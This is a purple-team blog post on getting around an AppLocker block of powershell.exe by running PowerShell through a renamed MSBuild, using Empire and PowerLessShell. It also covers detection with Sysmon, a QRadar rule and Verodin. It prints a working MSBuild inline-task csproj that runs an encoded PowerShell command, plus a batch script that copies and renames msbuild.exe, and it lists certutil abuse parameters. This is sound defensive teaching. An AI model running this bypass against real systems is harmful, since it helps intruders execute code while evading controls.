Living the Sweet PowerShell #2
In some domain environments due to security measures or hardening the execution of powershell.exe and powershell_ise.exe processes can be blocked through GPO/Applocker. These restrictions can sometimes be configured incorrectly. We can’t directly run our PowerShell commands or scripts but PowerShell is not limited to just powershell.exe, we can bypass the limitations.
In today’s scenario from the Red Team perspective we will establish a connection using Empire in an environment where powershell.exe is disabled. This will enable us to execute PowerShell scripts or commands. On the Blue Team side we will discuss strategies for detecting these attacks, developing protective rules and leveraging the Mandiant Security Validation (Verodin) product to automate and test our custom attack scenarios. This testing aims to evaluate the effectiveness of security products and SIEM rules in responding to such threats.
What is in the environment:
-
Sysmon
-
QRadar
-
Configured PowerShell logs (Module Logging, etc.)
-
Verodin
I’ve blocked the powershell.exe and powershell_ise.exe processes with AppLocker.
Attacker side:
I set up Empire and started a Listener.
Our launcher code is as follows
To execute a PowerShell script or code via MSBuild, I need to use the PowerLessShell tool. PowerLessShell is a tool that allows you to run your PowerShell scripts or code through MSBuild without using powershell.exe
I decoded the launcher code encrypted with Base64 and saved it as a file named pw.ps1.
I ran PowerLessShell, entered the necessary values, and created a csproj and csproj.bat file.
csproj file
csproj bat file
As an attacker all I need to do now is to execute the sky.csproj.bat file on the target system.
Build started.
Now active!
When the bat file is executed it copies msbuild.exe and renames it, effectively bypassing any rule or rules related to imagename == msbuild.exe in the target system’s SIEM, thus preventing an alarm from being triggered. It can also avoid products like AV/EDR by using legitimate Windows processes (such as certutil).
Defender side
Let’s start reviewing the logs that appear when we run the above .bat file
cmd.exe is accessing the certutil process with 0x1fffff permissions. Since this could indicate an abnormal situation, let’s continue examining the logs.
A file named ZRdFAwXBUI.exe has been created in the Microsoft.Net\Framework* directory. However, this is not a standard Windows process, and the nature of its name further confirms our suspicions about an abnormal situation.
I’m continuing to review the logs. The process I observed a moment ago has created a DLL file in the temporary directory.
This process has also loaded the System.Management.Automation.dll file, a critical component for PowerShell operations.. Observing this DLL file leads us to suspect that the process might be attempting to utilize PowerShell functionalities.
As I mentioned earlier, PowerLessShell copies and renames the MSBuild process, However, when Windows own processes are executed a field named OriginalFileName is included in the Process Create log. Even if the MSBuild process’s name is changed to something like zedeleyici.exe, we would see its real name, MSBuild.exe in the OriginalFileName part.
When I look at the Process Create log below, I see ZRdFAwXBUI.exe in the Image section even though the OriginalFileName is MSBuild.exe.
In that case, I can write a rule in QRadar to generate an alarm for Process Create logs where the ImageName and OriginalFileName do not match. When I write an AQL as below, it gives me what I’m looking for. I’m adding this as a rule.
SELECT ImageName, OriginalFileName FROM events
WHERE "EventID"= '1' AND
LOGSOURCENAME(logsourceid) ILIKE '%ZEDELEYICI%'
AND LOWER("ImageName")
!= LOWER("OriginalFileName") AND "ImageName" IS NOT NULL AND "OriginalFileName" IS NOT NULL AND "OriginalFileName" <> '?'
- Eliminating false positives is necessary.
In my previous blog post, I mentioned the importance of having PowerShell logging enabled. Because PowerShell logging is enabled, I can see the running PowerShell script in the log below.
Host Application = ZRdFAwXBUI.exe
The same abnormal process is using csc.exe, which is a legitimate Windows process but also provides opportunities for abuse.
_PSScriptPolicyTest<random_number>.ps1 files are used by PowerShell to test AppLocker. If the file runs it assumes that AppLocker is disabled. While this is actually a normal behavior for PowerShell, seeing it in the imagename section appears abnormal.
I see that the certutil process is being used with the -decodehex parameter. Since certutil is a legitimate process but can also be abused, especially when used with the following parameters, it’s important to ensure that it generates an alarm for further investigation:
-decodehex
-urlcache -split
-encode
-decode
So far, I’ve tried to show how we can take precautions. However, another critical aspect is the automation of these attack scenarios. Manual testing of our developed attack scenarios and simultaneous log examination can be incredibly time-consuming. With the Verodin, Mandiant Security Validation product, we have the capability to automate the attack scenarios we’ve designed. This automation allows you to improve SIEM, network, and endpoint security products by observing the SIEM alarms, logs, and detection capabilities generated by the scenarios, whether the scenario is blocked or not. This visibility enables you to enhance your security posture by identifying and addressing any gaps.
The csproj file I created with PowerLessShell above is different from the csproj file I added to Verodin. When testing with Verodin, since I won’t be establishing a connection to Empire, a csproj that allows me to execute commands in PowerShell serves my purpose.
While preparing a csproj file to execute PowerShell code, I came across a file previously written under the name powashell.csproj
In powashell.csproj, I added an encoded PowerShell command to the script as follows.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" />
<!-- Your PowerShell Path May vary -->
<Code Type="Class" Language="cs">
<![CDATA[
// all code by Casey Smith @SubTee
using System;
using System.Reflection;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
//Console.WriteLine("Hello From a Class.");
Console.WriteLine(powaShell.RunPSCommand());
return true;
}
}
//Based on Jared Atkinson's And Justin Warner's Work
public class powaShell
{
public static string RunPSCommand()
{
//Init stuff
InitialSessionState iss = InitialSessionState.CreateDefault();
iss.LanguageMode = PSLanguageMode.FullLanguage;
Runspace runspace = RunspaceFactory.CreateRunspace(iss);
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Interrogate LockDownPolicy
Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy());
//Add commands
pipeline.Commands.AddScript(("powershell -enc dwBoAG8AYQBtAGkA -noexit"));
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Now, let’s automate the scenario by adding it to Verodin.
When logged into Verodin we go to the Library section and select Files. Then we choose upload file
A screen like this appears. I fill in the File Notes and Applicable OS/platform sections, select the csproj file and then click on “Upload File.”
We have added our csproj file. (I have previously added and created actions.)
After adding our file we need to create an action. I go to Library > Actions. I will create a Host CLI action I select that option from the Add Action section.
In the Action User Profile section, I specify that it will work with the System user.
In the Add File Dependencies section, I select the PWSH-without-pwsh.exe.csproj file I added earlier and specify the directory it will work in.
In this section, I specify that it will run via cmd.exe. If desired we can also run it via PowerShell, Python or Bash.
In the Command Input section I write what parameters this attack scenario will run with and what it will do.
#x64 or x86
for /F "delims==" %A in ('systeminfo ^|findstr /B /C:"System Type"') do @set Arch=%A
auto,4,true,60
success_zero
if /I "%Arch:86=%" equ "%Arch%" (set Part1=C:\Windows\Microsoft.NET\Framework64\) ELSE (set Part1=C:\Windows\Microsoft.NET\Framework\)
auto,4,true,60
success_zero
#copying MSBuild.exe to the temp area as ms.exe.
copy %Part1%v4.0.30319\msbuild.exe %tmp%\ms.exe
auto,4,true,60
success_zero
#opening cmd and running ms.exe along with the csproj file.
start cmd.exe @cmd /k "%tmp%\ms.exe c:\windows\temp\PWSH-without-pwsh.exe.csproj"
auto,10,true,60
success_zero
#If the attack is successful ms.exe process will be running.
tasklist /svc | findstr ms.exe
auto,4,true,60
success_zero
#attack is successful and we kill the ms.exe process.
taskkill /im "ms.exe" /f
auto,4,true,60
cleanup
#deleting csproj file
del c:\windows\temp\PWSH-without-pwsh.exe.csproj
auto,4,true,60
cleanup
#deleting ms.exe process.
del %tmp%\ms.exe
auto,4,true,60
cleanup
We press the Validate Syntax button to check if there are any issues with what we’ve written. If everything is correct it shows “Successful.”
We write the name and description of the action.
- Action name: [Name]
- Description: [Description]
- Attack vector: general-vector
- Attacker location: Internal
- Behavior Type: General Behavior
- Covert: No
- OS/Platform: Windows
- Stage of Attack: Execution
I tagged the user as #powershell and #msbuild.
I press the “Save and Approve Anywhere” button to save. Then I navigate to Library > Actions and when I search for “Execution: PowerShell without powershell.exe” I can see the action I created.
I’ll try running the action I created. I press the blue play button and select the Endpoint Actor option to choose which actor I want to use for this scenario. Then I click on Run Now to start.
The scenario I tested triggered the SIEM rules I wrote above, so I caught the attack. However, it’s marked as “Not Blocked…”
One of the best features is that when creating the action it can provide us with the outputs of the commands we write, as shown below. This allows us to see whether it actually worked or if there was an error.
When we examine the Events section we can easily see the matching QRadar rules.